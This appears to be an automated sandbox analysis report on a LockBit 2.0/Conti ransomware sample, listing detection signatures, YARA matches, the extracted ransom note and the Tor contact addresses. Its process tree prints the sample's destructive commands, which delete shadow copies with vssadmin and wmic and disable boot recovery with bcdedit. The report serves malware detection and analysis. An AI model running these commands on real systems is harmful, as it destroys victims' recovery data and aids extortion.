Edit tour

Windows Analysis Report
Pna3t7DeL3.exe

Overview

General Information

Sample Name:	Pna3t7DeL3.exe
Original Sample Name:	111093146452b46071976d594172bc81d66427651f5f4cc244ddad9b3eae5c7d.bin.sample.exe
Analysis ID:	824744
MD5:	523190c8adb9f67f54bd299c9175d4e8
SHA1:	1a736dfd8806f898e529b0f713b4e7bc44f75742
SHA256:	111093146452b46071976d594172bc81d66427651f5f4cc244ddad9b3eae5c7d
Infos:

Detection

Conti, LockBit ransomware

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Conti ransomware

Yara detected UAC Bypass using CMSTP

Multi AV Scanner detection for submitted file

Yara detected LockBit ransomware

Malicious sample detected (through community Yara rule)

Detected unpacking (overwrites its own PE header)

Found ransom note / readme

Sigma detected: Delete shadow copy via WMIC

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Hides threads from debuggers

Found Tor onion address

Spreads via windows shares (copies files to share folders)

Uses bcdedit to modify the Windows boot settings

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

May disable shadow drive data (uses vssadmin)

Connects to many different private IPs (likely to spread or exploit)

Contains functionality to hide a thread from the debugger

Writes a notice file (html or txt) to demand a ransom

Creates autostart registry keys with suspicious names

Deletes shadow drive data (may be related to ransomware)

Found potential ransomware demand text

Connects to many different private IPs via SMB (likely to spread or exploit)

Uses 32bit PE files

Yara signature match

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Contains functionality to read the PEB

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Contains functionality to query network adapater information

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

Pna3t7DeL3.exe (PID: 3780 cmdline: C:\Users\user\Desktop\Pna3t7DeL3.exe MD5: 523190C8ADB9F67F54BD299C9175D4E8)

cmd.exe (PID: 7024 cmdline: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 7044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

vssadmin.exe (PID: 7104 cmdline: vssadmin delete shadows /all /quiet MD5: 47D51216EF45075B5F7EAA117CC70E40)

WMIC.exe (PID: 6108 cmdline: wmic shadowcopy delete MD5: EC80E603E0090B3AC3C1234C2BA43A0F)

bcdedit.exe (PID: 7104 cmdline: bcdedit /set {default} bootstatuspolicy ignoreallfailures MD5: 6E05CD5195FDB8B6C68FC90074817293)

bcdedit.exe (PID: 6864 cmdline: bcdedit /set {default} recoveryenabled no MD5: 6E05CD5195FDB8B6C68FC90074817293)

Pna3t7DeL3.exe (PID: 5124 cmdline: "C:\Users\user\Desktop\Pna3t7DeL3.exe" MD5: 523190C8ADB9F67F54BD299C9175D4E8)

Pna3t7DeL3.exe (PID: 4492 cmdline: "C:\Users\user\Desktop\Pna3t7DeL3.exe" MD5: 523190C8ADB9F67F54BD299C9175D4E8)

Pna3t7DeL3.exe (PID: 5068 cmdline: "C:\Users\user\Desktop\Pna3t7DeL3.exe" MD5: 523190C8ADB9F67F54BD299C9175D4E8)

Pna3t7DeL3.exe (PID: 3964 cmdline: "C:\Users\user\Desktop\Pna3t7DeL3.exe" MD5: 523190C8ADB9F67F54BD299C9175D4E8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Conti, Conti Lock	Conti is an extremely damaging ransomware due to the speed with which it encrypts data and spreads to other systems. It was first observed in 2020 and it is thought to be led by a Russia-based cybercrime group that goes under the Wizard Spider pseudonym. In early May 2022, the US government announced a reward of up to $10 million for information on the Conti ransomware gang.	No Attribution	http://chuongdong.com/reverse%20engineering/2020/12/15/ContiRansomware/ https://0xthreatintel.medium.com/reversing-conti-ransomware-bfce15019e74 https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf https://arcticwolf.com/resources/blog/conti-ransomware-leak-analyzed	https://malpedia.caad.fkie.fraunhofer.de/details/win.conti

Malware Configuration

Threatname: Lockbit

{
  "URL": "http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion",
  "Ransom Note": "LockBit 2.0 Ransomware\r\n\r\nYour data are stolen and encrypted\r\nThe data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom\r\nYou can contact us and decrypt one file for free on these TOR sites\r\nhttp://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion\r\nhttp://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion\r\nOR\r\nhttps://decoding.at\r\n\r\nDecryption ID: 8E5BB08F19AA7B0A32CC92B22E043ED8"
}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000012.00000002.351105527.0000000002C1C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xe78:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000A.00000002.330612625.0000000002E2C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xb10:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001A.00000002.349816093.0000000002CCC000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xa60:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.520342340.0000000002E46000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x12a0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x32f0:$s_ransom_note01: that is located in every encrypted folder. 0x3348:$s_ransom_note02: Would you like to earn millions of dollars? 0x390c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x3ab0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x2890:$x_str2: \LockBit_Ransomware.hta 0x28a2:$s_str2: Ransomware.hta
00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3080:$s2: Elevation:Administrator!new:
00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x2890:$a1: \LockBit_Ransomware.hta 0x2d58:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2dd8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2e48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2798:$a3: %s\%02X%02X%02X%02X.lock
00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x519e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
00000022.00000002.371381797.0000000002C0C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xad8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x32f0:$s_ransom_note01: that is located in every encrypted folder. 0x3348:$s_ransom_note02: Would you like to earn millions of dollars? 0x390c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x3ab0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x2890:$x_str2: \LockBit_Ransomware.hta 0x28a2:$s_str2: Ransomware.hta
00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1114:$s1: PLLH\x02\x17\x17
00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3080:$s2: Elevation:Administrator!new:
00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x2890:$a1: \LockBit_Ransomware.hta 0x2d58:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2dd8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2e48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2798:$a3: %s\%02X%02X%02X%02X.lock
00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x519e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca128:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca3f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x4157:$s_ransom_note01: that is located in every encrypted folder. 0x41af:$s_ransom_note02: Would you like to earn millions of dollars? 0x4773:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x4917:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x36f7:$x_str2: \LockBit_Ransomware.hta 0x3709:$s_str2: Ransomware.hta
00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x36f7:$a1: \LockBit_Ransomware.hta 0x3bbf:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3c3f:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3caf:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x35ff:$a3: %s\%02X%02X%02X%02X.lock
00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x5284f:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcaf8f:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcb25f:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x32f0:$s_ransom_note01: that is located in every encrypted folder. 0x3348:$s_ransom_note02: Would you like to earn millions of dollars? 0x390c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x3ab0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x2890:$x_str2: \LockBit_Ransomware.hta 0x28a2:$s_str2: Ransomware.hta
0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1114:$s1: PLLH\x02\x17\x17
0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3080:$s2: Elevation:Administrator!new:
0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x2890:$a1: \LockBit_Ransomware.hta 0x2d58:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2dd8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2e48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2798:$a3: %s\%02X%02X%02X%02X.lock
0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x519e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca128:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca3f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x32f0:$s_ransom_note01: that is located in every encrypted folder. 0x3348:$s_ransom_note02: Would you like to earn millions of dollars? 0x390c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x3ab0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x2890:$x_str2: \LockBit_Ransomware.hta 0x28a2:$s_str2: Ransomware.hta
0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1114:$s1: PLLH\x02\x17\x17
0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x30c0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3080:$s2: Elevation:Administrator!new:
0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x2890:$a1: \LockBit_Ransomware.hta 0x2d58:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2dd8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2e48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x2798:$a3: %s\%02X%02X%02X%02X.lock
0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x519e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca128:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xca3f8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x3ef0:$s_ransom_note01: that is located in every encrypted folder. 0x3f48:$s_ransom_note02: Would you like to earn millions of dollars? 0x450c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x46b0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x3490:$x_str2: \LockBit_Ransomware.hta 0x34a2:$s_str2: Ransomware.hta
0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1d14:$s1: PLLH\x02\x17\x17
0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x3cc0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3c80:$s2: Elevation:Administrator!new:
0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x3490:$a1: \LockBit_Ransomware.hta 0x3958:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x39d8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3a48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3398:$a3: %s\%02X%02X%02X%02X.lock
0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x525e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcad28:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcaff8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x3ef0:$s_ransom_note01: that is located in every encrypted folder. 0x3f48:$s_ransom_note02: Would you like to earn millions of dollars? 0x450c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x46b0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x3490:$x_str2: \LockBit_Ransomware.hta 0x34a2:$s_str2: Ransomware.hta
00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1d14:$s1: PLLH\x02\x17\x17
00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x3cc0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3c80:$s2: Elevation:Administrator!new:
00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x3490:$a1: \LockBit_Ransomware.hta 0x3958:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x39d8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3a48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3398:$a3: %s\%02X%02X%02X%02X.lock
00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x525e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcad28:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcaff8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x3ef0:$s_ransom_note01: that is located in every encrypted folder. 0x3f48:$s_ransom_note02: Would you like to earn millions of dollars? 0x450c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x46b0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x3490:$x_str2: \LockBit_Ransomware.hta 0x34a2:$s_str2: Ransomware.hta
0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1d14:$s1: PLLH\x02\x17\x17
0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x3cc0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3c80:$s2: Elevation:Administrator!new:
0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x3490:$a1: \LockBit_Ransomware.hta 0x3958:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x39d8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3a48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3398:$a3: %s\%02X%02X%02X%02X.lock
0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x525e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcad28:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcaff8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x3ef0:$s_ransom_note01: that is located in every encrypted folder. 0x3f48:$s_ransom_note02: Would you like to earn millions of dollars? 0x450c:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x46b0:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x3490:$x_str2: \LockBit_Ransomware.hta 0x34a2:$s_str2: Ransomware.hta
00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe1d14:$s1: PLLH\x02\x17\x17
00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x3cc0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x3c80:$s2: Elevation:Administrator!new:
00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp	Windows_Ransomware_Lockbit_89e64044	unknown	unknown	0x3490:$a1: \LockBit_Ransomware.hta 0x3958:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x39d8:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3a48:$a2: \Registry\Machine\Software\Classes\Lockbit\shell 0x3398:$a3: %s\%02X%02X%02X%02X.lock
00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp	Windows_Ransomware_Lockbit_a1c60939	unknown	unknown	0x525e8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcad28:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 0xcaff8:$a1: 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39
0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp	MAL_EXE_LockBit_v2	Detection for LockBit version 2.x from 2011	Silas Cutler, modified by Florian Roth	0x4157:$s_ransom_note01: that is located in every encrypted folder. 0x41af:$s_ransom_note02: Would you like to earn millions of dollars? 0x4773:$x_ransom_tox: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 0x4917:$x_ransom_url: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion 0x36f7:$x_str2: \LockBit_Ransomware.hta 0x3709:$s_str2: Ransomware.hta
